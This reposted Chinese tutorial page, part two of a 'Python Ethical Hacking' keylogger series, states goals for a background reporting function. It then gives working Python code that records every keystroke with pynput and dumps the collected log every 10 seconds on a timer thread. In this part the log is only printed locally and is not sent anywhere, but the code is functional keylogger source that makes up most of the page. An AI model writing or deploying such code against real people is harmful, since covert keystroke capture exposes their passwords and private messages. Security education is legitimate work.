当前位置 : 主页 > 编程语言 > python >

Python Ethical Hacking - KEYLOGGER(2)

来源:互联网 收集:自由互联 发布时间:2021-06-25
Report function: Run in the background. Don‘t interrupt program execution. Every X seconds, send the report. -Great case for threading. # !/usr/bin/env python import threading import pynput.keyboardlog = "" def process_key_press(key): glo

Report function:

  • Run in the background.
  • Don‘t interrupt program execution.
  • Every X seconds, send the report.

->Great case for threading.

#!/usr/bin/env python
import threading
import pynput.keyboard

log = ""


def process_key_press(key):
    global log
    try:
        log = log + str(key.char)
    except AttributeError:
        if key == key.space:
            log = log + " "
        else:
            log = log + " " + str(key) + " "


def report():
    global log
    print(log)
    log = ""
    timer = threading.Timer(10, report)
    timer.start()


keyboard_listener = pynput.keyboard.Listener(on_press=process_key_press)
with keyboard_listener:
    report()
    keyboard_listener.join()

网友评论